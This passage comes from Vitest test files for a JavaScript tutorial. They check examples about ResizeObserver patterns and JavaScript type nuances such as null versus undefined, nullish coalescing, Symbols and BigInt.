left: 10, // Padding-left value right: 210, bottom: 110, x: 10, y: 10 }, contentBoxSize: [{ inlineSize: 200, // Width in horizontal writing mode blockSize: 100 // Height in horizontal writing mode }], borderBoxSize: [{ inlineSize: 220, // Width including padding and border blockSize: 120 }], devicePixelContentBoxSize: [{ inlineSize: 400, // At 2x device pixel ratio blockSize: 200 }] } expect(typeof mockEntry.target).toBe('object') expect(typeof mockEntry.contentRect).toBe('object') expect(typeof mockEntry.contentRect.width).toBe('number') expect(typeof mockEntry.contentRect.height).toBe('number') expect(Array.isArray(mockEntry.contentBoxSize)).toBe(true) expect(Array.isArray(mockEntry.borderBoxSize)).toBe(true) }) // From lines ~115-140: contentRect properties it('should have correct contentRect properties', () => { const contentRect = { width: 200, height: 100, top: 10, left: 10, right: 210, bottom: 110, x: 10, y: 10 } expect(contentRect.width).toBe(200) expect(contentRect.height).toBe(100) expect(contentRect.top).toBe(10) // Padding-top expect(contentRect.left).toBe(10) // Padding-left }) }) // ============================================================ // BOX MODEL UNDERSTANDING // From resize-observer.mdx lines ~145-210 // ============================================================ describe('Box Model Options', () => { // From lines ~175-195: Choosing Which Box to Observe it('should understand box option values', () => { const validBoxOptions = ['content-box', 'border-box', 'device-pixel-content-box'] validBoxOptions.forEach(option => { expect(typeof option).toBe('string') }) // Default option const defaultBox = 'content-box' expect(validBoxOptions).toContain(defaultBox) }) // From lines ~200-225: Modern Size Properties it('should access contentBoxSize correctly (as array)', () => { const mockEntry = { contentBoxSize: [{ inlineSize: 200, blockSize: 100 }] } // Correct way: access first element of array const contentBoxSize = mockEntry.contentBoxSize[0] expect(contentBoxSize.inlineSize).toBe(200) expect(contentBoxSize.blockSize).toBe(100) }) // From lines ~200-225: inlineSize vs width it('should understand inlineSize vs blockSize', () => { // In horizontal writing mode: // inlineSize = width // blockSize = height // In vertical writing mode (e.g., traditional Japanese): // inlineSize = height // blockSize = width const horizontalWritingMode = { inlineSize: 200, // This is width blockSize: 100 // This is height } const verticalWritingMode = { inlineSize: 100, // This is height blockSize: 200 // This is width } expect(horizontalWritingMode.inlineSize).not.toBe(verticalWritingMode.inlineSize) }) }) // ============================================================ // PRACTICAL USE CASES // From resize-observer.mdx lines ~230-355 // ============================================================ describe('Responsive Typography Pattern', () => { // From lines ~235-260: Responsive Typography it('should calculate font size based on container width', () => { function calculateFontSize(width) { return Math.max(16, Math.min(48, width / 20)) } // Test various widths expect(calculateFontSize(200)).toBe(16) // Minimum expect(calculateFontSize(400)).toBe(20) // 400/20 = 20 expect(calculateFontSize(600)).toBe(30) // 600/20 = 30 expect(calculateFontSize(1000)).toBe(48) // Maximum (capped) expect(calculateFontSize(1200)).toBe(48) // Still capped at max }) }) describe('Canvas Resizing Pattern', () => { // From lines ~265-305: Canvas Resizing it('should calculate canvas internal size with device pixel ratio', () => { const cssWidth = 400 const cssHeight = 300 const dpr = 2 // High DPI display const canvasWidth = cssWidth * dpr const canvasHeight = cssHeight * dpr expect(canvasWidth).toBe(800) expect(canvasHeight).toBe(600) }) it('should handle default device pixel ratio', () => { // In browser: window.devicePixelRatio // In Node.js test environment, we simulate the fallback pattern const mockWindow = { devicePixelRatio: 2 } const dpr = mockWindow.devicePixelRatio || 1 expect(typeof dpr).toBe('number') expect(dpr).toBeGreaterThanOrEqual(1) // Test fallback when devicePixelRatio is undefined const mockWindowUndefined = {} const dprFallback = mockWindowUndefined.devicePixelRatio || 1 expect(dprFallback).toBe(1) }) }) describe('Element Query Pattern', () => { // From lines ~310-355: Element Queries it('should determine breakpoint class based on width', () => { const breakpoints = { small: 'card--compact', medium: 'card--standard', large: 'card--expanded' } function getBreakpointClass(width) { if (width < 300) return breakpoints.small if (width < 600) return breakpoints.medium return breakpoints.large } expect(getBreakpointClass(200)).toBe('card--compact') expect(getBreakpointClass(300)).toBe('card--standard') expect(getBreakpointClass(450)).toBe('card--standard') expect(getBreakpointClass(600)).toBe('card--expanded') expect(getBreakpointClass(800)).toBe('card--expanded') }) }) describe('Auto-Scroll Pattern', () => { // From lines ~360-390: Auto-Scrolling Chat Window it('should determine if container should auto-scroll', () => { // Auto-scroll if user is near bottom (within 10px) function shouldAutoScroll(scrollTop, scrollHeight, clientHeight) { return scrollTop + clientHeight >= scrollHeight - 10 } // User at bottom expect(shouldAutoScroll(500, 600, 100)).toBe(true) // 500 + 100 >= 590 // User scrolled up expect(shouldAutoScroll(200, 600, 100)).toBe(false) // 200 + 100 < 590 // User exactly at threshold expect(shouldAutoScroll(490, 600, 100)).toBe(true) // 490 + 100 >= 590 }) }) describe('Aspect Ratio Pattern', () => { // From lines ~395-415: Dynamic Aspect Ratio it('should calculate height from width and aspect ratio', () => { function calculateHeight(width, ratio) { return width / ratio } // 16:9 aspect ratio expect(calculateHeight(1600, 16/9)).toBeCloseTo(900) expect(calculateHeight(800, 16/9)).toBeCloseTo(450) // 4:3 aspect ratio expect(calculateHeight(800, 4/3)).toBeCloseTo(600) // 1:1 aspect ratio (square) expect(calculateHeight(500, 1)).toBe(500) }) }) // ============================================================ // INFINITE LOOP PREVENTION // From resize-observer.mdx lines ~420-510 // ============================================================ describe('Infinite Loop Prevention', () => { // From lines ~445-470: Solution 1 - Track expected size it('should skip callback when size matches expected', () => { const expectedSizes = new Map() let callbackCount = 0 function handleResize(target, currentWidth) { const expectedSize = expectedSizes.get(target) // Skip if we're already at the expected size if (currentWidth === expectedSize) { return false // Skipped } callbackCount++ const newWidth = currentWidth + 10 expectedSizes.set(target, newWidth) return true // Processed } const element = { id: 'test' } // First call - should process expect(handleResize(element, 100)).toBe(true) expect(callbackCount).toBe(1) // Second call with expected size - should skip expect(handleResize(element, 110)).toBe(false) expect(callbackCount).toBe(1) // Still 1 // Third call with different size - should process expect(handleResize(element, 120)).toBe(true) expect(callbackCount).toBe(2) }) // From lines ~485-510: Solution 3 - Modify other elements it('should demonstrate safe pattern of modifying other elements', () => { const observedElement = { id: 'observed' } const labelElement = { textContent: '' } function safeResizeHandler(entry) { // Safe: Change a different element, not the observed one const width = entry.contentRect.width const height = entry.contentRect.height labelElement.textContent = `${width} x ${height}` } const mockEntry = { target: observedElement, contentRect: { width: 300, height: 200 } } safeResizeHandler(mockEntry) expect(labelElement.textContent).toBe('300 x 200') // observedElement is unchanged - no infinite loop }) }) // ============================================================ // PERFORMANCE PATTERNS // From resize-observer.mdx lines ~515-580 // ============================================================ describe('Performance Best Practices', () => { // From lines ~520-540: Reuse observers it('should demonstrate shared observer pattern', () => { const elements = ['el1', 'el2', 'el3'] // Good pattern: One observer for multiple elements const goodObserver = { observedTargets: [], observe(el) { this.observedTargets.push(el) } } elements.forEach(el => goodObserver.observe(el)) // One observer watching 3 elements = efficient expect(goodObserver.observedTargets.length).toBe(3) }) // From lines ~555-580: Debounce expensive operations it('should implement debounce pattern', async () => { let operationCount = 0 let timeoutId function debounced(callback, delay) { return function() { clearTimeout(timeoutId) timeoutId = setTimeout(callback, delay) } } const expensiveOperation = debounced(() => { operationCount++ }, 50) // Rapid calls expensiveOperation() expensiveOperation() expensiveOperation() // Wait for debounce await new Promise(resolve => setTimeout(resolve, 100)) // Only one execution expect(operationCount).toBe(1) }) }) describe('Memory Management', () => { // From lines ~580-600: Cleanup pattern it('should demonstrate cleanup pattern', () => { let isDisconnected = false class ResizableComponent { constructor() { this.observer = { observe: vi.fn(), disconnect: () => { isDisconnected = true } } } destroy() { this.observer.disconnect() this.observer = null } } const component = new ResizableComponent() expect(isDisconnected).toBe(false) expect(component.observer).not.toBeNull() component.destroy() expect(isDisconnected).toBe(true) expect(component.observer).toBeNull() }) }) // ============================================================ // FEATURE DETECTION // From resize-observer.mdx lines ~605-635 // ============================================================ describe('Browser Support', () => { // From lines ~625-635: Feature detection pattern it('should demonstrate feature detection', () => { // Simulate environments const browserWithRO = { ResizeObserver: function() {} } const browserWithoutRO = {} function hasResizeObserver(win) { return 'ResizeObserver' in win } expect(hasResizeObserver(browserWithRO)).toBe(true) expect(hasResizeObserver(browserWithoutRO)).toBe(false) }) }) // ============================================================ // COMPARISON WITH OTHER APPROACHES // From resize-observer.mdx lines ~640-665 // ============================================================ describe('ResizeObserver vs Other Approaches', () => { // From lines ~640-665: Comparison table concepts it('should understand when each approach is appropriate', () => { const approaches = { windowResize: { when: 'viewport resize only', efficiency: 'good', useCase: 'Global layout changes' }, resizeObserver: { when: 'any element size change', efficiency: 'excellent', useCase: 'Per-element responsive behavior' }, mutationObserver: { when: 'DOM mutations', efficiency: 'good', useCase: 'Watching for added/removed elements' }, polling: { when: 'on interval', efficiency: 'poor', useCase: 'Avoid if possible' } } expect(approaches.resizeObserver.efficiency).toBe('excellent') expect(approaches.polling.efficiency).toBe('poor') }) }) // ============================================================ // COMMON MISTAKES // From resize-observer.mdx lines ~670-750 // ============================================================ describe('Common Mistakes', () => { // From lines ~675-695: Mistake 1 - Forgetting to disconnect it('should demonstrate proper cleanup return pattern', () => { const cleanedUp = [] // Good pattern: Return observer for cleanup function attachObserver(element) { const observer = { target: element, disconnect: () => { cleanedUp.push(element) } } return observer } const obs1 = attachObserver('el1') const obs2 = attachObserver('el2') // Caller can disconnect when done obs1.disconnect() expect(cleanedUp).toContain('el1') expect(cleanedUp).not.toContain('el2') obs2.disconnect() expect(cleanedUp).toContain('el2') }) // From lines ~700-715: Mistake 2 - Accessing contentBoxSize incorrectly it('should demonstrate correct contentBoxSize access', () => { const mockEntry = { contentBoxSize: [{ inlineSize: 200, blockSize: 100 }] } // WRONG: contentBoxSize.inlineSize (undefined) expect(mockEntry.contentBoxSize.inlineSize).toBeUndefined() // CORRECT: contentBoxSize[0].inlineSize expect(mockEntry.contentBoxSize[0].inlineSize).toBe(200) }) // From lines ~720-740: Mistake 3 - Initial callback behavior it('should handle initial callback', () => { let callCount = 0 let isFirstCall = true function handleResize(entries) { if (isFirstCall) { isFirstCall = false return // Skip initial measurement } callCount++ } // First call (initial measurement on observe()) handleResize([{ target: 'el' }]) expect(callCount).toBe(0) // Skipped // Subsequent calls handleResize([{ target: 'el' }]) expect(callCount).toBe(1) handleResize([{ target: 'el' }]) expect(callCount).toBe(2) }) }) // ============================================================ // KEY TAKEAWAYS VALIDATION // From resize-observer.mdx lines ~755-810 // ============================================================ describe('Key Takeaways', () => { // Takeaway 1: ResizeObserver watches individual elements it('should understand ResizeObserver vs window.resize', () => { // window.resize: Only viewport changes // ResizeObserver: Any element size change const causes = [ 'viewport resize', 'content change', 'CSS animation', 'sibling resize', 'parent resize' ] const windowResizeDetects = ['viewport resize'] const resizeObserverDetects = causes // All of them expect(windowResizeDetects.length).toBe(1) expect(resizeObserverDetects.length).toBe(5) }) // Takeaway 6: ResizeObserver fires immediately it('should understand initial callback behavior', () => { // ResizeObserver callback fires immediately when you start observing const callLog = [] function mockObserve(callback) { // Simulates ResizeObserver behavior callback([{ target: 'element' }]) // Immediate callback } mockObserve((entries) => { callLog.push('callback fired') }) // Callback fired immediately on observe expect(callLog.length).toBe(1) }) // Takeaway 9: contentBoxSize is an array it('should understand why contentBoxSize is an array', () => { // Array to support future multi-fragment elements (e.g., multi-column layouts) const mockEntry = { contentBoxSize: [{ inlineSize: 100, blockSize: 50 }], borderBoxSize: [{ inlineSize: 120, blockSize: 70 }] } // Currently always one element, but use [0] to access expect(mockEntry.contentBoxSize.length).toBe(1) expect(mockEntry.borderBoxSize.length).toBe(1) const width = mockEntry.contentBoxSize[0].inlineSize expect(width).toBe(100) }) }) // ============================================================ // TEST YOUR KNOWLEDGE VALIDATION // From resize-observer.mdx lines ~815-920 // ============================================================ describe('Test Your Knowledge', () => { // Question 1: contentRect vs contentBoxSize it('Q1: should understand difference between contentRect and contentBoxSize', () => { const mockEntry = { // contentRect - DOMRectReadOnly with x, y, width, height, top, left, right, bottom contentRect: { width: 200, height: 100, top: 10, left: 10, x: 10, y: 10, right: 210, bottom: 110 }, // contentBoxSize - Array of ResizeObserverSize with inlineSize, blockSize contentBoxSize: [{ inlineSize: 200, // Handles writing modes blockSize: 100 }] } // contentRect has more properties expect(Object.keys(mockEntry.contentRect).length).toBeGreaterThan(2) // contentBoxSize handles writing modes via inline/block expect(mockEntry.contentBoxSize[0]).toHaveProperty('inlineSize') expect(mockEntry.contentBoxSize[0]).toHaveProperty('blockSize') }) // Question 4: How to observe border-box it('Q4: should understand border-box observation option', () => { const options = { box: 'border-box' } expect(options.box).toBe('border-box') // The borderBoxSize would then be the relevant property const mockEntry = { borderBoxSize: [{ inlineSize: 220, blockSize: 120 }] } expect(mockEntry.borderBoxSize[0].inlineSize).toBe(220) }) // Question 5: Cleanup methods it('Q5: should understand cleanup methods', () => { const unobservedElements = [] let disconnected = false const mockObserver = { unobserve: (el) => unobservedElements.push(el), disconnect: () => { disconnected = true } } // unobserve - stops watching specific element mockObserver.unobserve('element1') expect(unobservedElements).toContain('element1') expect(disconnected).toBe(false) // disconnect - stops watching ALL elements mockObserver.disconnect() expect(disconnected).toBe(true) }) // Question 6: Why contentBoxSize is an array it('Q6: should explain contentBoxSize array structure', () => { // Arrays support future multi-fragment elements // (e.g., element split across columns in multi-column layout) // Current behavior: always one element const entry = { contentBoxSize: [{ inlineSize: 100, blockSize: 50 }] } expect(entry.contentBoxSize.length).toBe(1) // Future behavior might include multiple fragments: const futureEntry = { contentBoxSize: [ { inlineSize: 100, blockSize: 50 }, // Fragment in column 1 { inlineSize: 100, blockSize: 30 } // Fragment in column 2 ] } expect(futureEntry.contentBoxSize.length).toBe(2) }) }) }) ================================================ FILE: tests/beyond/type-system/javascript-type-nuances/javascript-type-nuances.test.js ================================================ import { describe, it, expect } from 'vitest' /** * Tests for JavaScript Type Nuances concept page * Source: /docs/beyond/concepts/javascript-type-nuances.mdx */ describe('JavaScript Type Nuances', () => { describe('Opening Hook Code Example (lines 9-22)', () => { it('should demonstrate undefined vs null declaration', () => { // Source: lines 11-12 let user // undefined — not initialized let data = null // null — intentionally empty expect(user).toBe(undefined) expect(data).toBe(null) }) it('should show typeof quirk for null', () => { // Source: lines 14-15 expect(typeof null).toBe('object') // a famous bug! expect(typeof undefined).toBe('undefined') }) it('should demonstrate || vs ?? with falsy values', () => { // Source: lines 17-18 expect(0 || 'fallback').toBe('fallback') // but 0 is valid! expect(0 ?? 'fallback').toBe(0) // nullish coalescing saves the day }) it('should create unique Symbol and BigInt', () => { // Source: lines 20-21 const id = Symbol('id') const huge = 9007199254740993n expect(typeof id).toBe('symbol') expect(huge).toBe(9007199254740993n) }) }) describe('null vs undefined: When JavaScript Returns undefined (lines 90-115)', () => { it('should return undefined for uninitialized variables', () => { // Source: lines 92-93 let name expect(name).toBe(undefined) }) it('should return undefined for missing object properties', () => { // Source: lines 96-97 const user = { name: 'Alice' } expect(user.age).toBe(undefined) }) it('should return undefined for functions without return', () => { // Source: lines 100-104 function greet() { // no return statement } expect(greet()).toBe(undefined) }) it('should return undefined for missing function parameters', () => { // Source: lines 107-110 function sayHi(name) { return name } expect(sayHi()).toBe(undefined) }) it('should return undefined for array holes', () => { // Source: lines 113-114 const sparse = [1, , 3] expect(sparse[1]).toBe(undefined) }) }) describe('null vs undefined: When to Use null (lines 117-142)', () => { it('should use null to intentionally clear a value', () => { // Source: lines 123-124 let currentUser = { name: 'Alice' } currentUser = null // User logged out expect(currentUser).toBe(null) }) it('should use null in API responses for missing data', () => { // Source: lines 127-130 const response = { user: null, // User not found, but the field exists error: null // No error occurred } expect(response.user).toBe(null) expect(response.error).toBe(null) }) it('should return null for end of prototype chain', () => { // Source: line 136 expect(Object.getPrototypeOf(Object.prototype)).toBe(null) }) it('should use null for optional parameters with default values', () => { // Source: lines 139-141 function createUser(name, email = null) { return { name, email } } const user = createUser('Alice') expect(user.email).toBe(null) }) }) describe('null vs undefined: Comparing behavior (lines 158-174)', () => { it('should show equality quirks between null and undefined', () => { // Source: lines 160-161 expect(null == undefined).toBe(true) // loose equality expect(null === undefined).toBe(false) // strict equality }) it('should show type checking differences', () => { // Source: lines 164-165 expect(typeof null).toBe('object') // historical bug! expect(typeof undefined).toBe('undefined') }) it('should show numeric coercion differences', () => { // Source: lines 168-169 expect(null + 1).toBe(1) // null becomes 0 expect(Number.isNaN(undefined + 1)).toBe(true) // undefined becomes NaN }) it('should omit undefined properties in JSON serialization', () => { // Source: lines 172-173 const result = JSON.stringify({ a: null, b: undefined }) expect(result).toBe('{"a":null}') // undefined properties are skipped! }) }) describe('null vs undefined: Checking for Both (lines 178-195)', () => { it('should check for both using loose equality', () => { // Source: lines 184-186 const checkValue = (value) => { if (value == null) { return 'No value' } return 'Has value' } expect(checkValue(null)).toBe('No value') expect(checkValue(undefined)).toBe('No value') expect(checkValue(0)).toBe('Has value') expect(checkValue('')).toBe('Has value') }) it('should provide default with nullish coalescing', () => { // Source: line 194 const getValue = (value) => value ?? 'default' expect(getValue(null)).toBe('default') expect(getValue(undefined)).toBe('default') expect(getValue(0)).toBe(0) expect(getValue('')).toBe('') }) }) describe('Short-Circuit: Logical OR || (lines 207-232)', () => { it('should return first truthy value', () => { // Source: lines 212-217 expect('hello' || 'default').toBe('hello') expect('' || 'default').toBe('default') // empty string is falsy expect(0 || 42).toBe(42) // 0 is falsy! expect(null || 'fallback').toBe('fallback') expect(undefined || 'fallback').toBe('fallback') }) it('should show the problem with || treating all falsy values as triggers', () => { // Source: lines 229-231 const userCount = 0 const userName = '' expect(userCount || 10).toBe(10) // If userCount is 0, you get 10! expect(userName || 'Guest').toBe('Guest') // If userName is '', you get 'Guest'! }) }) describe('Short-Circuit: Logical AND && (lines 234-248)', () => { it('should return first falsy value or last value if all truthy', () => { // Source: lines 239-243 expect(true && 'hello').toBe('hello') // both truthy, returns last expect('hello' && 42).toBe(42) expect(null && 'hello').toBe(null) // first falsy expect(0 && 'hello').toBe(0) // first falsy }) it('should enable conditional execution pattern', () => { // Source: lines 246-247 const user = { name: 'Alice' } expect(user && user.name).toBe('Alice') const noUser = null expect(noUser && noUser.name).toBe(null) }) }) describe('Short-Circuit: Nullish Coalescing ?? (lines 250-265)', () => { it('should only fall back on null/undefined, not other falsy values', () => { // Source: lines 256-260 expect(0 ?? 42).toBe(0) // 0 is NOT nullish! expect('' ?? 'default').toBe('') // empty string is NOT nullish! expect(false ?? true).toBe(false) expect(null ?? 'fallback').toBe('fallback') expect(undefined ?? 'fallback').toBe('fallback') }) it('should safely handle 0 and empty string as valid values', () => { // Source: lines 263-264 const userCount = 0 const userName = '' expect(userCount ?? 10).toBe(0) // 0 stays as 0 expect(userName ?? 'Guest').toBe('') // '' stays as '' }) }) describe('Short-Circuit: Optional Chaining ?. (lines 302-336)', () => { it('should safely access nested properties', () => { // Source: lines 307-318 const user = { name: 'Alice', address: { city: 'Wonderland' } } expect(user?.address?.city).toBe('Wonderland') }) it('should return undefined for null/undefined instead of throwing', () => { // Source: lines 321-323 const nullUser = null expect(nullUser?.name).toBe(undefined) // no error! expect(nullUser?.address?.city).toBe(undefined) // no error! }) it('should work with arrays', () => { // Source: lines 326-328 const users = [{ name: 'Alice' }] expect(users?.[0]?.name).toBe('Alice') expect(users?.[99]?.name).toBe(undefined) }) it('should work with function calls', () => { // Source: lines 331-335 const api = { getUser: () => ({ name: 'Alice' }) } expect(api.getUser?.()).toEqual({ name: 'Alice' }) expect(api.nonexistent?.()).toBe(undefined) // no error! }) }) describe('Short-Circuit: Combining ?? and ?. (lines 339-361)', () => { it('should get deeply nested value with a default', () => { // Source: line 344 const user = { settings: { theme: 'dark' } } expect(user?.settings?.theme ?? 'light').toBe('dark') const userNoSettings = {} expect(userNoSettings?.settings?.theme ?? 'light').toBe('light') }) it('should provide safe function call with default return', () => { // Source: line 347 const api = { getData: () => [1, 2, 3] } expect(api.getData?.() ?? []).toEqual([1, 2, 3]) const noApi = {} expect(noApi.getData?.() ?? []).toEqual([]) }) it('should respect explicit 0 when using ?? with ?.', () => { // Source: lines 350-360 const config = { api: {} } expect(config?.api?.timeout ?? 5000).toBe(5000) // no timeout set config.api.timeout = 0 expect(config?.api?.timeout ?? 5000).toBe(0) // respects the explicit 0 }) }) describe('typeof Operator: Basic Usage (lines 369-387)', () => { it('should return correct type strings for primitives', () => { // Source: lines 372-378 expect(typeof 'hello').toBe('string') expect(typeof 42).toBe('number') expect(typeof 42n).toBe('bigint') expect(typeof true).toBe('boolean') expect(typeof undefined).toBe('undefined') expect(typeof Symbol('id')).toBe('symbol') }) it('should return object or function for non-primitives', () => { // Source: lines 381-386 expect(typeof {}).toBe('object') expect(typeof []).toBe('object') // arrays are objects! expect(typeof new Date()).toBe('object') expect(typeof /regex/).toBe('object') expect(typeof function(){}).toBe('function') // special case expect(typeof class {}).toBe('function') // classes are functions }) }) describe('typeof Operator: The null Bug (lines 389-410)', () => { it('should demonstrate typeof null returns object', () => { // Source: line 394 expect(typeof null).toBe('object') // NOT 'null'! }) it('should show correct way to check for null', () => { // Source: lines 402-409 const value = null // ❌ Wrong — typeof doesn't work for null expect(typeof value === 'null').toBe(false) // Never true! // ✓ Correct — direct comparison expect(value === null).toBe(true) // ✓ Also correct — check both null and undefined expect(value == null).toBe(true) }) }) describe('typeof Operator: Undeclared Variables (lines 412-431)', () => { it('should return undefined for undeclared variables safely', () => { // Source: lines 420-421 expect(typeof undeclaredVar).toBe('undefined') }) it('should enable feature detection', () => { // Source: lines 424-429 (testing in Node.js environment) expect(typeof process !== 'undefined').toBe(true) // Running in Node.js }) }) describe('typeof Operator: Better Type Checking (lines 460-489)', () => { it('should use Array.isArray for arrays', () => { // Source: lines 465-467 expect(Array.isArray([1, 2, 3])).toBe(true) expect(Array.isArray('hello')).toBe(false) }) it('should use Object.prototype.toString for precise type checking', () => { // Source: lines 473-477 expect(Object.prototype.toString.call({})).toBe('[object Object]') expect(Object.prototype.toString.call([])).toBe('[object Array]') expect(Object.prototype.toString.call(null)).toBe('[object Null]') expect(Object.prototype.toString.call(undefined)).toBe('[object Undefined]') expect(Object.prototype.toString.call(new Date())).toBe('[object Date]') }) it('should use helper function for precise type checking', () => { // Source: lines 480-488 function getType(value) { return Object.prototype.toString.call(value).slice(8, -1).toLowerCase() } expect(getType(null)).toBe('null') expect(getType([])).toBe('array') expect(getType({})).toBe('object') expect(getType(new Date())).toBe('date') expect(getType(/regex/)).toBe('regexp') }) }) describe('instanceof Operator (lines 493-543)', () => { it('should check prototype chain for class instances', () => { // Source: lines 500-508 class Animal {} class Dog extends Animal {} const buddy = new Dog() expect(buddy instanceof Dog).toBe(true) expect(buddy instanceof Animal).toBe(true) // inheritance chain expect(buddy instanceof Object).toBe(true) // everything inherits from Object expect(buddy instanceof Array).toBe(false) }) it('should work with built-in constructors', () => { // Source: lines 511-515 expect([] instanceof Array).toBe(true) expect({} instanceof Object).toBe(true) expect(new Date() instanceof Date).toBe(true) expect(/regex/ instanceof RegExp).toBe(true) }) it('should return false for primitives', () => { // Source: lines 517-518 expect('hello' instanceof String).toBe(false) // primitive, not String object expect(42 instanceof Number).toBe(false) // primitive, not Number object }) it('should check prototype chain using isPrototypeOf', () => { // Source: lines 526-539 class Animal { speak() { return 'Some sound' } } class Dog extends Animal { speak() { return 'Woof!' } } const buddy = new Dog() expect(Dog.prototype.isPrototypeOf(buddy)).toBe(true) expect(Animal.prototype.isPrototypeOf(buddy)).toBe(true) }) }) describe('instanceof with Symbol.hasInstance (lines 545-578)', () => { it('should customize instanceof behavior with Symbol.hasInstance', () => { // Source: lines 551-561 class Duck { static [Symbol.hasInstance](instance) { return instance?.quack !== undefined } } const mallard = { quack: () => 'Quack!' } const dog = { bark: () => 'Woof!' } expect(mallard instanceof Duck).toBe(true) // has quack method expect(dog instanceof Duck).toBe(false) // no quack method }) it('should validate data shapes with Symbol.hasInstance', () => { // Source: lines 564-577 class ValidUser { static [Symbol.hasInstance](obj) { return obj !== null && typeof obj === 'object' && typeof obj.id === 'number' && typeof obj.email === 'string' } } const user = { id: 1, email: 'alice@example.com' } const invalid = { name: 'Bob' } expect(user instanceof ValidUser).toBe(true) expect(invalid instanceof ValidUser).toBe(false) }) }) describe('Symbols: Creating and Using (lines 592-639)', () => { it('should create unique symbols even with same description', () => { // Source: lines 600-605 const id = Symbol('id') const anotherId = Symbol('id') expect(id === anotherId).toBe(false) // different symbols expect(id === id).toBe(true) // same symbol }) it('should have accessible description', () => { // Source: lines 608-609 const id = Symbol('id') expect(id.description).toBe('id') }) it('should solve property name collision problem', () => { // Source: lines 616-631 const user = { id: 123, name: 'Alice' } const internalId = Symbol('internal-id') user[internalId] = 'library-internal-id' expect(user.id).toBe(123) // original preserved expect(user[internalId]).toBe('library-internal-id') }) it('should hide symbols from normal iteration', () => { // Source: lines 634-638 const secret = Symbol('secret') const user = { id: 123, name: 'Alice', [secret]: 'hidden' } expect(Object.keys(user)).toEqual(['id', 'name']) // no symbol! expect(JSON.stringify(user)).toBe('{"id":123,"name":"Alice"}') // no symbol! }) it('should access symbols with Object.getOwnPropertySymbols', () => { // Source: line 638 const secret = Symbol('secret') const user = { visible: 'hello', [secret]: 'hidden' } const symbols = Object.getOwnPropertySymbols(user) expect(symbols.length).toBe(1) expect(user[symbols[0]]).toBe('hidden') }) }) describe('Symbols: Global Registry (lines 641-659)', () => { it('should create/retrieve global symbols with Symbol.for', () => { // Source: lines 646-651 const globalId = Symbol.for('app.userId') const sameId = Symbol.for('app.userId') expect(globalId === sameId).toBe(true) }) it('should get key from global symbol with Symbol.keyFor', () => { // Source: lines 654-658 const globalId = Symbol.for('app.userId') expect(Symbol.keyFor(globalId)).toBe('app.userId') const localId = Symbol('local') expect(Symbol.keyFor(localId)).toBe(undefined) }) }) describe('Symbols: Well-Known Symbols (lines 661-710)', () => { it('should customize iteration with Symbol.iterator', () => { // Source: lines 667-686 const range = { start: 1, end: 5, [Symbol.iterator]() { let current = this.start const end = this.end return { next() { if (current <= end) { return { value: current++, done: false } } return { done: true } } } } } const values = [...range] expect(values).toEqual([1, 2, 3, 4, 5]) }) it('should customize toString tag with Symbol.toStringTag', () => { // Source: lines 689-695 class MyClass { get [Symbol.toStringTag]() { return 'MyClass' } } expect(Object.prototype.toString.call(new MyClass())).toBe('[object MyClass]') }) it('should customize type conversion with Symbol.toPrimitive', () => { // Source: lines 698-709 const money = { amount: 100, currency: 'USD', [Symbol.toPrimitive](hint) { if (hint === 'number') return this.amount if (hint === 'string') return `${this.currency} ${this.amount}` return this.amount } } expect(+money).toBe(100) // hint: 'number' expect(`${money}`).toBe('USD 100') // hint: 'string' }) }) describe('BigInt: Precision Problem (lines 726-743)', () => { it('should show MAX_SAFE_INTEGER limit', () => { // Source: line 735 expect(Number.MAX_SAFE_INTEGER).toBe(9007199254740991) }) it('should demonstrate precision loss beyond safe integer', () => { // Source: line 738 expect(9007199254740992 === 9007199254740993).toBe(true) // they're the same to JS! }) }) describe('BigInt: Creating Values (lines 745-758)', () => { it('should create BigInt with n suffix', () => { // Source: lines 749-750 const big = 9007199254740993n expect(big).toBe(9007199254740993n) }) it('should create BigInt from string', () => { // Source: lines 753-754 const alsoBig = BigInt('9007199254740993') const fromNumber = BigInt(42) expect(alsoBig).toBe(9007199254740993n) expect(fromNumber).toBe(42n) }) it('should preserve precision with BigInt', () => { // Source: line 757 expect(9007199254740992n === 9007199254740993n).toBe(false) // correctly different! }) }) describe('BigInt: Operations (lines 760-781)', () => { it('should perform arithmetic operations', () => { // Source: lines 763-772 const a = 10n const b = 3n expect(a + b).toBe(13n) expect(a - b).toBe(7n) expect(a * b).toBe(30n) expect(a ** b).toBe(1000n) }) it('should truncate division (no decimals)', () => { // Source: line 774 expect(10n / 3n).toBe(3n) // not 3.333... }) it('should support remainder operation', () => { // Source: line 777 expect(10n % 3n).toBe(1n) }) it('should support comparison operations', () => { // Source: lines 780-781 expect(10n > 3n).toBe(true) expect(10n === 10n).toBe(true) }) }) describe('BigInt: Limitations (lines 783-810)', () => { it('should throw TypeError when mixing BigInt and Number', () => { // Source: line 787 expect(() => 10n + 5).toThrow(TypeError) }) it('should require explicit conversion between BigInt and Number', () => { // Source: lines 790-791 expect(10n + BigInt(5)).toBe(15n) expect(Number(10n) + 5).toBe(15) }) it('should throw TypeError with Math methods', () => { // Source: line 794 expect(() => Math.max(1n, 2n)).toThrow(TypeError) }) it('should use comparison operators instead of Math methods', () => { // Source: line 797 expect(1n > 2n ? 1n : 2n).toBe(2n) }) it('should throw TypeError with unary +', () => { // Source: line 800 expect(() => +10n).toThrow(TypeError) }) it('should throw TypeError when serializing BigInt to JSON', () => { // Source: line 806 expect(() => JSON.stringify({ id: 10n })).toThrow(TypeError) }) it('should convert BigInt to string for JSON serialization', () => { // Source: line 809 expect(JSON.stringify({ id: 10n.toString() })).toBe('{"id":"10"}') }) }) describe('BigInt: Use Cases (lines 812-831)', () => { it('should handle large IDs without precision loss', () => { // Source: line 816 const tweetId = 1234567890123456789n expect(tweetId).toBe(1234567890123456789n) }) it('should handle cryptographic-scale numbers', () => { // Source: line 819 const largeKey = 2n ** 256n expect(largeKey > Number.MAX_SAFE_INTEGER).toBe(true) }) it('should compute factorial without precision loss', () => { // Source: lines 826-829 function factorial(n) { if (n <= 1n) return 1n return n * factorial(n - 1n) } expect(factorial(20n)).toBe(2432902008176640000n) }) }) describe('Common Mistakes (lines 839-941)', () => { it('should show mistake of using || when ?? is needed', () => { // Source: lines 846-853 const userCount = 0 const userName = '' // ❌ Wrong — loses valid values expect(userCount || 10).toBe(10) expect(userName || 'Guest').toBe('Guest') // ✓ Correct — only fallback on null/undefined expect(userCount ?? 10).toBe(0) expect(userName ?? 'Guest').toBe('') }) it('should show mistake of using typeof to check for null', () => { // Source: lines 858-869 const value = null // ❌ Wrong — never works expect(typeof value === 'null').toBe(false) // ✓ Correct — direct comparison expect(value === null).toBe(true) }) it('should show mistake of not handling both null and undefined', () => { // Source: lines 